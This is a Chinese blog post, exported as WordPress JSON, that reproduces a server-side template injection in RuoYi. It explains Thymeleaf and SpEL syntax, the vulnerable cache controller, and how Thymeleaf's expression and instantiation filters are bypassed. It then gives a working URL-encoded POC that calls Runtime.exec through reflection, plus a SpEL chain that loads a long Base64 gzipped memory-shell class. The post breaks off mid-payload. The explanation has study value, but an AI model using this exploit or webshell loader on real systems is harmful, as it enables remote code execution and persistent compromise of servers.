{"id":344,"date":"2026-07-29T23:31:02","date_gmt":"2026-07-29T15:31:02","guid":{"rendered":"https:\/\/arknight.wiki\/?p=344"},"modified":"2026-07-29T23:31:02","modified_gmt":"2026-07-29T15:31:02","slug":"ruoyi-ssti-%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/07\/29\/ruoyi-ssti-%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"Ruoyi SSTI \u590d\u73b0"},"content":{"rendered":"<h1>Ruoyi SSTI \u590d\u73b0<\/h1>\n<p>\u539f\u6587\u94fe\u63a5\uff1a<a href=\"https:\/\/xz.aliyun.com\/news\/92461\">Ruoyi SSTI \u4e0e Thymeleaf bypass\u6df1\u63a2-\u5148\u77e5\u793e\u533a<\/a><\/p>\n<h2><\/h2>\n<h2>\u524d\u7f6e\u77e5\u8bc6\uff1a<\/h2>\n<h5><\/h5>\n<h5>Thymeleaf \u6a21\u677f\u7247\u6bb5\u590d\u7528\u8bed\u6cd5\uff1a<\/h5>\n<p>\u5b9a\u4e49\u7247\u6bb5\uff1a<\/p>\n<pre><code>&lt;div th:fragment=\"header\"&gt;\u6b22\u8fce\u6765\u5230\u540e\u53f0<\/code><\/pre>\n<p>\u8fd9\u91cc\u5b9a\u4e49\u4e86\u4e00\u4e2a\u53ebheader\u7684\u7247\u6bb5\uff0c\u5b83\u53ef\u4ee5\u88ab\u590d\u7528<\/p>\n<p>\u590d\u7528\u7247\u6bb5\uff1a<\/p>\n<pre><code>&lt;div th:insert=\"~{common\/header :: header}\"&gt;&lt;\/div&gt;<\/code><\/pre>\n<p>\u8fd9\u91cc\u590d\u7528\u4e4b\u524d\u7684header\u7247\u6bb5\uff0c<code>~{common\/header :: header}<\/code>\u662f\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u683c\u5f0f\u4e3a\uff1a<code>~{\u6a21\u677f\u8def\u5f84 :: \u7247\u6bb5\u540d\u79f0}<\/code>,<code>th:insert<\/code> \u4f1a\u5c06\u76ee\u6807\u7247\u6bb5\u7684\u5185\u5bb9\u4f5c\u4e3a<strong>\u5b50\u5143\u7d20<\/strong>\u63d2\u5165\u5230\u5f53\u524d <code>&lt;div&gt;<\/code> \u6807\u7b7e\u5185\u3002<\/p>\n<h5><\/h5>\n<h5>Thymeleaf \u9884\u5904\u7406\u673a\u5236\uff1a<\/h5>\n<p>Thymeleaf \u7684\u9884\u5904\u7406\u8868\u8fbe\u5f0f\u5141\u8bb8\u4f60\u5728<strong>\u4e3b\u8868\u8fbe\u5f0f\u6267\u884c\u4e4b\u524d<\/strong>\uff0c\u5148\u5bf9\u8868\u8fbe\u5f0f\u4e2d\u7684\u67d0\u4e00\u90e8\u5206\u8fdb\u884c\u6c42\u503c\u3002\u683c\u5f0f\u4e3a\uff1a<code>__${expression}__<\/code><\/p>\n<p>\u5982\uff1a<\/p>\n<pre><code>&lt;div th:text=\"${userMap[__${currentKey}__]}\"&gt;&lt;\/div&gt;<\/code><\/pre>\n<p>\u4f1a\u5148\u5bf9<code>currentKey<\/code>\u6c42\u503c\u3002<\/p>\n<h5><\/h5>\n<h5>Thymeleaf \u5b57\u9762\u91cf\u66ff\u6362\u8bed\u6cd5\uff1a<\/h5>\n<p>\u4e3b\u8981\u76ee\u7684\u662f<strong>\u7b80\u5316\u5b57\u7b26\u4e32\u62fc\u63a5<\/strong>\u3002\u5f53\u4f60\u9700\u8981\u5728\u4e00\u6bb5\u6587\u672c\u4e2d\u6df7\u5408\u4f7f\u7528\u201c\u9759\u6001\u6587\u5b57\u201d\u548c\u201c\u52a8\u6001\u53d8\u91cf\u201d\u65f6\uff0c\u4f7f\u7528 <code>|...|<\/code> \u6bd4\u4f7f\u7528\u4f20\u7edf\u7684 <code>+<\/code> \u53f7\u62fc\u63a5\u66f4\u7b80\u6d01\u3001\u66f4\u6613\u8bfb\u3002\u683c\u5f0f\uff1a<code>|\u9759\u6001\u6587\u672c ${\u53d8\u91cf} \u9759\u6001\u6587\u672c|<\/code><\/p>\n<p>\u5982\uff1a<\/p>\n<pre><code>\u5e38\u89c4\u5199\u6cd5\uff1a\n&lt;span th:text=\"'Hello, ' + ${userName} + '!'\"&gt;&lt;\/span&gt;\n\u4f7f\u7528\u5b57\u9762\u91cf\u66ff\u6362\u8bed\u6cd5\uff1a\n&lt;span th:text=\"|Hello, ${userName}!|\"&gt;&lt;\/span&gt;<\/code><\/pre>\n<h5><\/h5>\n<h5>SPEL \u8bed\u6cd5\uff1a<\/h5>\n<p>\u57fa\u7840\uff1a<\/p>\n<table>\n<thead>\n<tr>\n<th>\u5199\u6cd5<\/th>\n<th>\u542b\u4e49<\/th>\n<th>\u4f8b\u5b50<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>#\u53d8\u91cf<\/code><\/td>\n<td>\u5f15\u7528\u5f53\u524d\u4e0a\u4e0b\u6587\u7684\u5bf9\u8c61<\/td>\n<td><code>#response<\/code>\u00a0\u2192 \u62ff\u5230 HTTP Response \u5bf9\u8c61<\/td>\n<\/tr>\n<tr>\n<td><code>''<\/code><\/td>\n<td>\u7a7a\u5b57\u7b26\u4e32<\/td>\n<td><code>''.getClass()<\/code>\u00a0\u2192 \u62ff\u5230\u00a0<code>String.class<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>@bean<\/code><\/td>\n<td>\u5f15\u7528 Spring Bean<\/td>\n<td><code>@securityManager<\/code>\u00a0\u2192 \u62ff\u5230 Shiro \u7684 SecurityManager<\/td>\n<\/tr>\n<tr>\n<td><code>.\u65b9\u6cd5()<\/code><\/td>\n<td>\u8c03\u7528\u65b9\u6cd5<\/td>\n<td><code>.forName('java.lang.Runtime')<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>.\u5c5e\u6027<\/code><\/td>\n<td>\u8bbf\u95ee\u5c5e\u6027<\/td>\n<td><code>.status<\/code>\u3001<code>.name<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>T(\u7c7b)<\/code><\/td>\n<td>\u76f4\u63a5\u5f15\u7528 Java \u7c7b\uff08\u88ab\u62e6\u622a\u4e86\uff09<\/td>\n<td><code>T(java.lang.Runtime)<\/code>\u00a0\u2192 \u4e0d\u53ef\u7528<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u6ce8\uff1a\u5728 Spring \u6846\u67b6\u4e2d\uff0c<strong>Bean \u5c31\u662f\u7531 Spring \u5bb9\u5668\uff08Container\uff09\u521b\u5efa\u3001\u7ba1\u7406\u548c\u9500\u6bc1\u7684 Java \u5bf9\u8c61\u3002<\/strong><\/p>\n<pre><code>\/\/ 1. \u4f60\u53ea\u9700\u8981\u52a0\u4e00\u4e2a\u6ce8\u89e3\uff0c\u544a\u8bc9 Spring\uff1a\u201c\u8fd9\u662f\u4e00\u4e2a Bean\uff0c\u8bf7\u5e2e\u6211\u7ba1\u7406\u201d\n@Service\npublic class UserService {\n    public void sayHello() {\n        System.out.println(\"Hello from Bean!\");\n    }\n}\n\n\/\/ 2. \u5728\u53e6\u4e00\u4e2a\u5730\u65b9\uff0c\u4f60\u4e0d\u9700\u8981 new\uff0c\u76f4\u63a5\u8ba9 Spring \u6ce8\u5165\u8fdb\u6765\n@RestController\npublic class UserController {\n    @Autowired \/\/ \u610f\u601d\u662f\uff1aSpring \u8bf7\u5e2e\u6211\u628a UserService \u8fd9\u4e2a Bean \u7ed9\u6211\n    private UserService userService;\n\n    public void test() {\n        userService.sayHello();\n    }\n}<\/code><\/pre>\n<p>\u5728\u5229\u7528\u4e2d\uff0c\u5982\u5bf9SecurityManager\uff0c\u56e0\u4e3a <code>SecurityManager<\/code> \u662f Shiro \u5185\u90e8\u7ba1\u7406\u7684\u5bf9\u8c61\uff0c\u6ca1\u6cd5\u76f4\u63a5\u901a\u8fc7 <code>Runtime<\/code> \u6216 <code>Thread<\/code> \u62ff\u5230\u5b83\u3002\u4f46 Spring \u628a\u5b83\u6ce8\u518c\u6210\u4e86 Bean\uff0c\u5b58\u5728\u5bb9\u5668\u91cc\uff0cSPEL \u7684 <code>@<\/code> \u8bed\u6cd5\u53ef\u4ee5\u76f4\u63a5\u4ece\u5bb9\u5668&quot;\u70b9\u540d&quot;\u628a\u5b83\u62ce\u51fa\u6765\u3002<\/p>\n<p>\u4e00\u4e2a\u9ad8\u7ea7\u8bed\u6cd5\uff1a<strong><code>?[\u7b5b\u9009\u6761\u4ef6]<\/code><\/strong> \u2014 \u96c6\u5408\u9009\u62e9\u5668<\/p>\n<pre><code>.getMethods.?[name=='getRuntime']<\/code><\/pre>\n<p>\u610f\u601d\u662f\uff1a\u4ece <code>getMethods()<\/code> \u8fd4\u56de\u7684\u6570\u7ec4\u91cc\uff0c\u6311\u51fa <code>name<\/code> \u5c5e\u6027\u7b49\u4e8e <code>'getRuntime'<\/code> \u7684\u90a3\u4e2a Method\u3002<\/p>\n<h2>\u6f0f\u6d1e\u70b9\uff1a<\/h2>\n<pre><code>@Controller\n@RequestMapping(\"\/monitor\/cache\")\npublic class CacheController extends BaseController {\n    private String prefix = \"monitor\/cache\";\n\n    @Autowired\n    private CacheService cacheService;\n\n    @RequiresPermissions(\"monitor:cache:view\")\n    @GetMapping()\n    public String cache(ModelMap mmap) {\n        mmap.put(\"cacheNames\", cacheService.getCacheNames());\n        return prefix + \"\/cache\";\n    }\n\n    @RequiresPermissions(\"monitor:cache:view\")\n    @PostMapping(\"\/getNames\")\n    public String getCacheNames(String fragment, ModelMap mmap) {\n        mmap.put(\"cacheNames\", cacheService.getCacheNames());\n        return prefix + \"\/cache::\" + fragment;\n    }\n\n    @RequiresPermissions(\"monitor:cache:view\")\n    @PostMapping(\"\/getKeys\")\n    public String getCacheKeys(String fragment, String cacheName, ModelMap mmap) {\n        mmap.put(\"cacheName\", cacheName);\n        mmap.put(\"cacheKeys\", cacheService.getCacheKeys(cacheName));\n        return prefix + \"\/cache::\" + fragment;\n    }\n\n    @RequiresPermissions(\"monitor:cache:view\")\n    @PostMapping(\"\/getValue\")\n    public String getCacheValue(String fragment, String cacheName, String cacheKey, ModelMap mmap) {\n        mmap.put(\"cacheName\", cacheName);\n        mmap.put(\"cacheKey\", cacheKey);\n        mmap.put(\"cacheValue\", cacheService.getCacheValue(cacheName, cacheKey));\n        return prefix + \"\/cache::\" + fragment;\n    }\n\n    ......\n}<\/code><\/pre>\n<p>\u8fd9\u91cc\u5f62\u5982<code>return prefix + \"\/cache::\" + fragment;<\/code>\u4f7f\u7528\u4e86\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u8fd9\u5c06\u5141\u8bb8\u653b\u51fb\u8005\u6784\u9020\u6076\u610fSPEL\u8868\u8fbe\u5f0f\u53d1\u9001\u5230\u540e\u7aef\u8fdb\u884c\u653b\u51fb\u3002<\/p>\n<h2>\u7ed5\u8fc7\u539f\u7406\uff1a<\/h2>\n<h3>\u7ed5\u8fc7Thymeleaf \u8868\u8fbe\u5f0f\u5165\u53e3\u68c0\u6d4b\uff1a<\/h3>\n<p>\u9632\u5fa1\u4ee3\u7801\u903b\u8f91\uff1a<\/p>\n<pre><code>private static boolean containsExpression(final String text) {\n    final int textLen = text.length();\n    char c;\n    boolean expInit = false;\n    for (int i = 0; i &lt; textLen; i++) {\n        c = text.charAt(i);\n        if (!expInit) {\n            if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {\n                expInit = true;\n            }\n        } else {\n            if (c == '{') {\n                return true;\n            } else if (!Character.isWhitespace(c)) {\n                expInit = false;\n            }\n        }\n    }\n    return false;\n}<\/code><\/pre>\n<p>\u8fd9\u4e32\u4ee3\u7801\u5728\u68c0\u6d4b\u5230<code>$\u3001#\u3001@\u3001~<\/code> \u7b49\u8868\u8fbe\u5f0f\u8d77\u59cb\u7b26\u540e\uff0c\u4f1a\u5c06\u72b6\u6001\u6807\u8bb0\u4e3a <code>expInit=true<\/code>\uff0c\u5e76\u7ee7\u7eed\u5224\u65ad\u540e\u7eed\u5b57\u7b26\u662f\u5426\u4e3a <code>{<\/code>\uff0c\u662f\u5219\u8fd4\u56de<code>ture<\/code>\u3002\u53ef\u662f<\/p>\n<p>\u5728\u8fde\u7eed\u4e24\u4e2a\u8868\u8fbe\u5f0f\u8d77\u59cb\u7b26\u540e\uff0c\u72b6\u6001\u6807\u8bb0\u4f1a\u76f4\u63a5\u53d8\u4e3a<code>false<\/code>\u3002\u6b64\u65f6\u518d\u9047\u5230<code>{<\/code>\u5c31\u4e0d\u4f1a\u4e0d\u4f1a<code>ture<\/code>\u3002<\/p>\n<h2>\u7ed5\u8fc7\u5b9e\u4f8b\u5316\u5ba1\u67e5\uff1a<\/h2>\n<p>\u5ba1\u67e5\u4ee3\u7801\u903b\u8f91\uff1a<\/p>\n<pre><code>public static boolean containsSpELInstantiationOrStaticOrParam(final String expression) {\n\n    \/*\n     * Checks whether the expression contains instantiation of objects\n     * (\"new SomeClass\") or makes use of\n     * static methods (\"T(SomeClass)\") as both are forbidden in certain contexts in\n     * restricted mode.\n     *\/\n\n    final int explen = expression.length();\n    int n = explen;\n    int ni = 0; \/\/ index for computing position in the NEW_ARRAY\n    int pi = 0; \/\/ index for computing position in the PARAM_ARRAY\n    char c;\n    while (n-- != 0) {\n\n        c = expression.charAt(n);\n\n        \/\/ When checking for the \"new\" keyword, we need to identify that it is not a\n        \/\/ part of a larger\n        \/\/ identifier, i.e. there is whitespace after it and no character that might be\n        \/\/ a part of an\n        \/\/ identifier before it.\n        if (ni &lt; NEW_LEN\n            &amp;&amp; c == NEW_ARRAY[ni]\n            &amp;&amp; (ni &gt; 0 || ((n + 1 &lt; explen) &amp;&amp; Character.isWhitespace(expression.charAt(n + 1))))) {\n            ni++;\n            if (ni == NEW_LEN &amp;&amp; (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1)))) {\n                return true; \/\/ we found an object instantiation\n            }\n            continue;\n        }\n\n        if (ni &gt; 0) {\n            \/\/ We 'restart' the matching counter just in case we had a partial match\n            n += ni;\n            ni = 0;\n            continue;\n        }\n\n        ni = 0;\n\n        \/\/ When checking for the \"param\" keyword, we need to identify that it is not a\n        \/\/ part of a larger\n        \/\/ identifier.\n        if (pi &lt; PARAM_LEN\n            &amp;&amp; c == PARAM_ARRAY[pi]\n            &amp;&amp; (pi &gt; 0 || ((n + 1 &lt; explen) &amp;&amp; !isSafeIdentifierChar(expression.charAt(n + 1))))) {\n            pi++;\n            if (pi == PARAM_LEN &amp;&amp; (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1)))) {\n                return true; \/\/ we found a param access\n            }\n            continue;\n        }\n\n        if (pi &gt; 0) {\n            \/\/ We 'restart' the matching counter just in case we had a partial match\n            n += pi;\n            pi = 0;\n            continue;\n        }\n\n        pi = 0;\n\n        if (c == '(' &amp;&amp; ((n - 1 &gt;= 0) &amp;&amp; isPreviousStaticMarker(expression, n))) {\n            return true;\n        }\n\n    }\n\n    return false;\n\n}<\/code><\/pre>\n<p>\u8fd9\u91cc\u4e3b\u8981\u5339\u914d<code>new<\/code>\u6807\u8bb0\u548c<code>T(<\/code>\uff0c\u9632\u6b62\u5bf9\u8c61\u5b9e\u4f8b\u5316\u548c\u9759\u6001\u7c7b\/\u65b9\u6cd5\u8bbf\u95ee\u7684\u60c5\u51b5\uff0c\u76f4\u63a5\u901a\u8fc7\u53cd\u5c04\u5c31\u53ef\u4ee5\u7ed5\u8fc7\u3002<\/p>\n<h2>POC\uff1a<\/h2>\n<pre><code>fragment=__%7C$$%7B#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?%5Bname=='getRuntime'%5D%5B0%5D.invoke(null).getClass.getMethods.?%5Bname=='exec'%5D%5B1%5D.invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?%5Bname=='getRuntime'%5D%5B0%5D.invoke(null),'open%20-a%20Calculator'))%7D%7C__<\/code><\/pre>\n<h3>\u89e3\u6790\uff1a<\/h3>\n<ul>\n<li>\n<p><code>#response<\/code> \u662f SPEL \u5185\u7f6e\u53d8\u91cf\uff0c\u6307\u5411\u5f53\u524d\u7684 <code>HttpServletResponse<\/code> \u5bf9\u8c61\u3002 <code>getWriter().print()<\/code> \u628a\u5185\u5bb9\u5199\u5165 HTTP \u54cd\u5e94\u4f53\uff0c\u8fd4\u56de\u7ed9\u653b\u51fb\u8005\u3002<\/p>\n<\/li>\n<li>\n<p>\u62ff\u5230 <code>Runtime<\/code> \u7c7b<\/p>\n<\/li>\n<li>\n<p>\u62ff\u5230 <code>getRuntime()<\/code> \u65b9\u6cd5\u5bf9\u8c61<\/p>\n<\/li>\n<li>\n<p>\u8c03\u7528 <code>Runtime.getRuntime()<\/code><\/p>\n<\/li>\n<li>\n<p>\u4ece\u5b9e\u4f8b\u62ff\u5230\u5b83\u7684 Class<\/p>\n<\/li>\n<li>\n<p>\u62ff\u5230 <code>exec<\/code> \u65b9\u6cd5\u5bf9\u8c61<\/p>\n<\/li>\n<li>\n<p>\u6784\u9020\u8c03\u7528 <code>exec<\/code> \u6240\u9700\u7684 Runtime \u5b9e\u4f8b<\/p>\n<\/li>\n<li>\n<p>\u8c03\u7528 <code>exec<\/code><\/p>\n<\/li>\n<\/ul>\n<h2>\u5185\u5b58\u9a6c\u5229\u7528\uff1a<\/h2>\n<p>\u5728\u4e00\u4e2a <code>fragment<\/code> \u4e2d\u53ef\u4ee5\u5d4c\u5957\u591a\u4e2a\u8868\u8fbe\u5f0f\u8bed\u53e5\uff0c\u5176\u5171\u4eab\u4e00\u4e2a\u4e0a\u4e0b\u6587\uff0c\u53ef\u4ee5\u5728\u5176\u4e2d\u81ea\u5b9a\u4e49\u6ce8\u518c\u53d8\u91cf\u4e0e\u590d\u5236\uff0c\u5176\u5c31\u53ef\u4ee5\u76f4\u63a5\u89e3\u51b3<code>java.io.ByteArrayInputStream<\/code> \u9700\u6c42\u4e00\u4e2a <code>Object[]<\/code> \u5bf9\u8c61\uff0c\u5176\u7b2c\u4e00\u4e2a\u5143\u7d20\u9700\u8981\u662f <code>decodeFromString<\/code> \u8fd4\u56de\u7684 <code>byte[]<\/code> \u6570\u7ec4\u7684\u9700\u6c42<\/p>\n<pre><code># \u5b9a\u4e49Object[]\n*${#a=''.getClass().forName('java.lang.reflect.Array').getMethods.?[name=='newInstance'][0].invoke(null,''.getClass().forName('java.lang.Object'),1)},\n\/\/\u76ee\u7684\uff1a\u521b\u5efa\u4e00\u4e2a\u957f\u5ea6\u4e3a 1 \u7684 Object \u6570\u7ec4\u3002\n\/\/\u4e3a\u4ec0\u4e48\u8981\u5b83\uff1a\u540e\u9762\u9700\u8981\u7528 Base64Utils \u628a\u4e00\u6bb5 Base64 \u5b57\u7b26\u4e32\u89e3\u7801\u6210 byte[]\u3002\u89e3\u7801\u51fa\u6765\u540e\uff0c\u9700\u8981\u6709\u4e2a\u5730\u65b9\u5b58\u653e\u8fd9\u4e2a byte[]\u3002\n\/\/#a \u5c31\u662f\u8fd9\u4e2a\u5bb9\u5668\uff0c#a[0] \u5c31\u662f\u7528\u6765\u653e byte[] \u7684\u683c\u5b50\u3002\n\n# \u8bbe\u7f6edecodeFromString\u8fd4\u56de\u7684byte[]\u6570\u7ec4\u4e3aObject[]\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\n*${#a[0]=''.getClass().forName('org.springframework.util.Base64Utils').getMethods.?[name=='decodeFromString'][0].invoke(null,'H4sIAAAAAAAA%2F6V4CZwb13nf97hYAlyurl3R0lqWRCuWTe5wCWBxryRbuO9zcNOyPQAGA2AGM4OZwZlYiePYzmknTZuGOXuljHrScrukwsSSE0duc%2FVI3cPpfbepkqZXalkW%2Bz0Au9wl10fb%2FWHneO973%2Fn%2Fvve9%2BY23f%2BnzAOAkP0pgS9EEa28odw1rv80mh9ZIV%2BJLRlfSzUAIPNjjRpxV4mTBmm30%2BKZhhhUCK31dILCRujPJGlpXFp4hcEoRCZA6gXWBN4ISp%2BsZrs8TePjCxZPI3Sj%2BMqdyzQ5%2FuWMY6uUx37jc4eSWxGv65f4gpSQv%2B4dGJ8GJnGZwqa5u8DKvWeAsgQdQQoDTebdzwY6sqTGnHvcv%2F6xOe8Vn9zZcE9k6EnvKJBhlK3F3a5p2Cs1KPBUv%2B7meTxPUcLg28XXiHOuIRTIZuxzx5IVGt%2BixuQSbVlSrw363664bQ2Ma1rRirZH3xnt8xqbGKm6bGh22ku1ZihFGXCsnj4rDaD7o6ccZV2tmFRivY7fNDJmeaxzSx5q35uv0%2BqWwoiYrg4A6HuxWS4OM1xkp5VuxWaHi4gataDHX5ArlcLue6kwqhU6xWJYV25SpuTPT0rgjOkJTtcsmu5q7lBzMBpFOpeeOiZNy1F9rD8cFFzMdhqSKK1YbuJz2GNMUpwYzkdKNUnpcSE3SYsEj6VWpEckVOz6lrhldX9PRYmZTN9Ni2oLWGJXbjfY4nVVqLn%2B82tdSyWSyHXFwbE%2BtZONuR60WrtXdHmvQWerOilxLaM4Ux2ykxYbpoEsOZh3VVnqXkdlwvjFT%2BHG%2BHq7n2YlYiaRGSX6Q5m38LlsPGKo47nc8TENNdpOlqhFTXXLXP%2BKtuy3DPul04jYxHXXx5VhwWJtowrSUzbNGL6APx%2FlEeODq7IZCYU9TmXU6o16R1wUubhWy0njktCu29HBSK%2FKjqLUQ8CVVUXQEOoFcM2EfpCOZUKwiMvWQVhHUUTu6O%2B4b9WGh4W9lmcEk1A7HU6N0OMF2%2BwNGFBNBKT8YxBrdQb2Y6E%2BNYLgeSFfTQTHpmfoGtWK4ke8muHTEmAX0WCdR0%2BrJTsU6FbjaeJjl8kGHZAuN7VN7kgm5KpNYs6vapkJLjeTLs3ay7uwGq7ri8o2VSqLed%2FvHjnI1Zg323dWuXDQmRU%2Bn2%2BOSSm0oNqKjiD0YiyT7bElUir6yvz1pdK2NhtqaRO2eYDwn1yNiLZb3pqeid5RnS1IzqWYnvFuv8U6532IiQi7vEYpSuD%2BSpU4rkq1LufKkNJUizXRxVhz7OnpxEhrrwlSPxWspp93vFRNuKRmZ5Nq6FItm45XMbKgHZdG%2FW2mwciYmsezAr06azc7U52sIjdSUL2Y96rRWn42TjFRieyWZ1biC2ygkA61IpirGpKI7ptq79oZSnXS4lKooA083UWG8wQFT8ZYG3s4w5g4KSW0SqQwSvqro64QZkcuWO%2F7INMpKyaKv1wyrEc0t%2BmKiv1ntF%2BV4M1Lx5uz2iF4YtQRhXI72oolytxAfzuzJrtuQSp60XBoUw4mCPVDi%2FXVfSRsNIj53hUkwyVCpJ7HOXEhOFl0e2yytR%2FwsX6yx3CDj7uXZVKhdYzVXzOYVrWUvp0l9W702S%2Bi9SC4d6LApj0%2ByC0kjKg8FR9malfWYLehzdtI8a5dYw%2BkcZKWk2ErGR1k%2FPxLco4ir0SzbYx6735%2FoKHlHqe8uuti6PRv1aRlWHUn2oC9aYQpelvNKFSffFAXZlzeYqeQpaAGpG6mNNcYhhBvepgcB7QmUJgNXu%2BzKicKwGe17hVjZoe2G%2B4bc7uVqqd4oP61qs0HJG3OyijU3cVVZLZByleoTqz%2BwW047xXTZJw%2FlcM8V7A3i7rJTCdfsWftELPk87owzn66VclJ9IjjYVkmWEy1lpIWZQqipS4FeoT2z6hVHURoqNo2tOlGGPIn32y6tMxxWi1oirA3G5ep4rEVka3UwzrW7E606TDii7bEtHbSmM2KuHmETnVJ5KraqYTGXyvb4xDTPpzpBTRLV7HjGpFNjtdxWE4FWJ9wLSl6xoRgVZdAXmFa6kgz2bB12qGhMcpAuzAKhXo0VCrFAxZdqxbyhaq7dkKbd%2BnCQDzgCmXFRYYtCme9NvO5GotIKG2pR57x8aBKfBEd8vBPWu6lBfRJqqmp4oE5y5VQ6FQgmOpIzpHhTOt9W9VZM2TWyStTR6CmRWMW7u5upVaepWNTZiEnpsGMSc7tGsVa5LhVtFQYRlraNhoxcHQyd%2BYhWbIi7MW%2Bh0InNit6Wr5hxjwOtULaZ87KZjtPJ%2BCq%2BgBaK1mpFh2Ek9ZwhiJG%2Bwx6JVEZejmuVup6SKBSK1tDMWelWZ4FmuxgeBBtesbw7cvdDkWBkONXEUconOYSytTOwiu2wZk00wq7ybnE8Elp5m91a0ePtQdZerzfs9nIqV7LLhZjWH05i9VS57Y5n3a2Ip13k0iNXEMM28vhzu42JUnDGZ%2FW8MUlkxiNOS%2Ft6qmFko3JyV4k72HbMnmtmEpUqq4%2BCoTIbzBf8fCDilz3SgLM6d3lPsZLnyrvWmmH3u71GRUv6xi4r61R5a5urNDFus%2Biunte13jjkZflsxirHSpWkqhSjJS7hiZRrI7k8zfVlK9OIZ4oFJsbOhMkoW7Prfb5Qc8zcWTUg%2BrqNvsRE5KJXEdrjZjDu6vocspdP6M2Oxyb0vanUMLg7Mvy6p9%2FVeq1y1OYpeJLxAN%2FvuLJGqBdPBR2jrlD18cWQWxeLowpf7NsKLb8R82ZZSVciA7UlZDTZ09Nr3VEjVzO6gZgwLOSimjckejLOsjPW2O0WI1KomHHyjmy1V01l3Tm2Fq210p4AM5l4h0FbM%2BhtDWLVqbc1GXQa4dEo2oiPev5hyRYxVJ%2FATHV%2FNOByRAJjrP%2BM1OhEYkrbJjWdtWY3E9D8PrEiZwXR1hOj%2Faw6bI%2F7fKfD9Nl%2Bqe4zquo4KvbSYild7zeH0dBoKLSCOVssnxft4UGdj4dFu6PDpnM6Exr3hmWpHRTK8Yw1rIXjw92g6HI128KYVUM%2Bv8Lb1H5at80aYic0SfXjOaGwq9p75W6%2BMRzPXAldKOrjsRizuSSxlVU61cRQzMds6u4kYWsmuYiheRnRZnP30%2Fb0yBpq%2BkWPI1UJMo0JlwvKSqw3k5zxkWownVAqPHbzcroSmdikRq7Sd3U0LRkcWMusKnhTw4iNj5cCLT5RdvqzLofX3qsFi25hJnsTOa04jmZrrZw%2FrThiyXEj7VOjfjcz0gVPuxZRuraSs89zXDFWjth6eWtGnjHBnK8uD7rtab0f7Jf6yWa3XbH1%2BWp4NOQHQotx8cF8wO2WPJOmk89aU8OyS7DrXiln8EE%2BYI2y7mm028xhi%2FmcBe4ncPrZLrbP78e2%2BMLFMoHNO21usaMpY64h8WbYWIcH4aE1MMHD62AGyxk4Be8gsEa7ZEU2%2BIlB4KGDHnmI%2FbeV5Y1n1uFR2FpD0ncSuO%2FYlBneReCRuzvqwLArtXjNDE%2BswZNU0iqcppLejVpyqsrLLQI7F%2B5txO%2FtzZecUIPvgPdQZk9jw91caHqe1zRF2ztvgfctuvAwfU%2Fzus4J2OpfPCrg0AUnyEDmF2GbmscQsBjKYnQddmCNSrxMwNzVw33VmM59W18HG9jPwuOwi7460EVWjPNtZSi3LHigAUvX4DXOUDQC7zjmzfhyHGW6wUOZePEEc%2B%2B8GfZQbIfTM8h8HZ6lAp%2BB5wiY5HmMjp9jFmci5PkBeJ7S%2BTGiS8X2zl%2BxQJDA%2FXciXFAU5PDeC%2FcyONE3YYhQ30TxUPUC%2BjqO1iEvtsNL0rfmcqhZElKUSxoR0JXpGIH3nbD2BG7ldchCji7OEzh7xbr9wnmN51rTNQuw6KM2hyfFFipWwgMfjlWOnRbZKZ7U%2BmaoYeiUIQo9t5DQxVYE7TPQSp7ro35X4INnoA4vEHj6bvg%2Fe69S73%2FmWIKFJ01eNbqKbIaPICburI5xemeeJY01aMLDx1RDSKIZZkCoPoQO9UvYrnFNsahxTV6%2FOwvTnIpKCtBZgzZ0j2UhTpkBT7unRX6KstahD1tnQQIZnYN86bl3HVSK5TYMCLyLooDr4uk1gNIEjWI2pykoU1fwQKsfd98cBGYYYtCbi3VI8NjRwAU7nMbygyEvNzG5MDnGMFmDEWCynDY4DTWwwHeiwvgQ6fJSq8xJQzTZ%2B82Df0JBOITSR%2BFFiobvpgI6Xf09Ngt8jOrXwVKh8bIFPo4zIyoGdX30mBuDiiQhE4wU8vkEfJL66VOYTSdRmOEHzsIP0vw8zbVafor2rQsn86Jm%2FzD8CE3nTyN5js6gL38UQcf1VAv8iXkuz78mWOBPElhVNcVQLPATOM61ONWg4z9J4Az6WEaeNBA%2FhXM6r426Td4CP4NceVnAqFng5xDEd5J5%2Fm0jpXBYJKl%2BRx12ZAqt%2FTPwZykC%2FtwifedziOF7FyDpX4BfoDvEX8SqetekGX5xEUo8nKoSv8DWX6LYegn%2BMrK7zFT4Blb4I6It8FfRkj5nNDs0HudOKvvovr8O1ylqPotO0HhdGWoISAt8jjJG0JpozbLAPiqPm4de6Rqddbi5WPIKsl8WOwvcoi5vte6Sc1BKUM6vwOdpmF5dJB2LDpYOfWmBLxBY78ojReTTvNFRkM8L3xZOr9zjxSvfZl38NfgiBfOvH6vQOc7oWOBL1LpduudYL1rgN7C8XbDAb%2BEN334HQYv06G3%2FMW8TYL5FRT6KiqXQo8H6%2B%2Bi6E4nN8A8wNkh%2BQPkP1%2BHvwt%2Bjyv%2FjdThDMXAKvoIkEs4v4fX0t9jjDwD3T%2BGfrcGX4Z%2Bvw30LPv8S49Dim0qLX3xZo9voCayuBNbhX8O%2FoSv%2BLbVl1lVDuKqvIoRQ%2FOkLVwJzmn8P%2F4HS%2FEfcP1p8G7NoLtgC%2Fxn3tCsBM%2FyXg6I95x7HGAjU4D9A4BVruTDOnqD0f4U%2FOgN%2FCP9tgSSUK3Ea3zrAzfMn6HsvSo46Q%2BPbtJ5YFxxQwP%2BA%2F0nh%2F7%2BwiH0jKjP8b8xHHXePJi3gXWxwUOcLdbppvglfW4OvwluYHvNimG1TL8aPilxairLehttr8IeILbo9U%2FwT8J0ApG8T1eQUWUHZxIQMr1jIafS7zI%2Fjsm5wuEusEws8j5aRM7gb0Z1PVaVuk6OVNDziZePg66puIWcxqncqLp0wk%2FvOkvvnVRk3HU7S18mD8HnMFPIQ